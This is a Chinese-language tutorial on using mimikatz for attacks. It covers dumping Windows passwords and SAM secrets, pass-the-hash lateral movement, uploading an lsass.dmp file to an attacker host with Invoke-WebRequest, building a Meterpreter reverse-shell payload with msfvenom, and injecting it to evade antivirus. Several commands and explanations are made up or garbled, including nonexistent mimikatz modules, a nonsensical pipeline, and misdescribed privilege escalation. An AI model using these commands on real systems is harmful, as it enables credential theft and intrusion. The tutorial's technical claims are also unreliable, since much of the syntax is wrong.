mimikatz 是一款用于 Windows 系统的免费开源密码查看工具,它支持从散列密码到明文密码的转换操作,同时还可抓取 Windows 口令、PIN 和凭证等。本篇文章将从多个角度介绍 mimikatz 的使用方法,包括基本用法、横向渗透、提升权限、DLL 劫持以及 AV 防护绕过等内容。
一、基本用法
mimikatz 的基本操作主要包括三个命令,分别是 sekurlsa、lsadump 和 token。其中 sekurlsa 可以用于抓取当前系统登录者的各种密码,如明文密码、NTLM hash、Kerberos TGT 等;lsadump 可以从本地 SAM 数据库和远程 SAM 数据库等中提取 Windows 的密码、凭证等信息;token 命令可用于模拟权限,将 mimikatz 的进程权限提升至系统级别,从而绕过一些限制,例如 VBS 脚本等。
1、使用 sekurlsa 命令抓取 Windows 登录者密码:
privilege::debug
sekurlsa::logonpasswords
2、使用 lsadump 命令提取 SAM 数据库中的密码:
lsadump::sam
lsadump::secrets
lsadump::cache
3、使用 token 命令提升权限:
token::elevate
token::whoami
二、横向渗透
在攻击中,mimikatz 还可以用于进行横向渗透,进而获取更多机器的权限。通过远程执行 mimikatz 命令,我们可以利用被攻击机器已经获得的权限,尝试获取其他机器的口令和凭证。以下是基本使用方法:
1、在被攻击机器上执行以下命令:
sekurlsa::pth /user:Administrator /domain:test.com /ntlm:f1cedbd432e8d3ea0c1c64a1ac4a9d1c /run:powershell.exe
其中,/user 参数指定管理员账户名称,/domain 指定域名,/ntlm 是 hash 值,/run 参数指定要运行的程序。执行该命令后,会返回一个新的控制台。
2、在新控制台中,执行以下命令:
$password = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential("test\user", $password)
Invoke-Command -ComputerName <IP> -Credential $cred -ScriptBlock { lsass::sekurlsa /full } | .\mimikatz.exe "sekurlsa::minidump lsass.dmp"
Invoke-WebRequest -URI 'http://<Attacker_IP>/lsass.dmp' -Method PUT -InFile lsass.dmp
其中,$password 表示指定的密码,$cred 是强制指定的凭证对象,-ComputerName 是远程机器的 IP 地址,lsass::sekurlsa /full 是执行的命令,Invoke-WebRequest 是访问远程地址的命令。执行该命令后,会将 lsass.dmp 文件上传到攻击机器上。
3、使用 mimikatz 分析 lsass.dmp 文件。攻击者在自己的机器上执行以下命令:
sekurlsa::minidump /in:"<path_to>\lsass.dmp"
sekurlsa::logonpasswords
该命令会打印出 lsass 进程中存储的所有凭证和口令。
三、提升权限
mimikatz 还可以通过提升权限来绕过账户限制,获取更高的权限,从而执行敏感操作。常见的方法有 DLL 劫持和管道提权。
1、DLL 劫持攻击。攻击者需要寻找 DLL 容器、DLL 记录表等方式,执行以下命令:
privilege::debug
inject::process /name:lsass.exe /path:C:\temp\mydll.dll
其中,/name 指定进程名,/path 指定要注入的 DLL 文件路径。执行该命令后,攻击者会成功注入 mydll.dll 文件。
2、管道提权。攻击者可以通过提高自己或其他用户的权限,获取系统级别的权限。执行以下命令:
privilege::debug
lsadump::lsa /inject /name:<user_name> /password:<password>
其中,/inject 参数表示注入,/name 是账户名称,/password 是密码。执行该命令后,攻击者可以成功获取更高的权限。
四、AV 防护绕过
在攻击中,mimikatz 还可以用于绕过防护软件的检测,例如使用 Meterpreter 的反弹 shell。攻击者可以通过以下方式执行:
1、将 Meterpreter payload 复制到本地机器上:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o meterpreter.exe
2、使用 mimikatz 注入 Meterpreter 流量,执行以下命令:
privilege::debug
inject::process /name:explorer.exe /path:D:\meterpreter.exe
其中,/name 指定进程名,/path 指定要注入的 DLL 文件路径。执行该命令后,攻击者会成功注入 Meterpreter 流量,并拦截密码。
总结
mimikatz 是一款功能强大的密码查看工具,在 Windows 渗透和后渗透过程中起到了很好的作用。在使用过程中,需要特别注意安全防范,避免工具沦为犯罪工具,造成不必要的麻烦。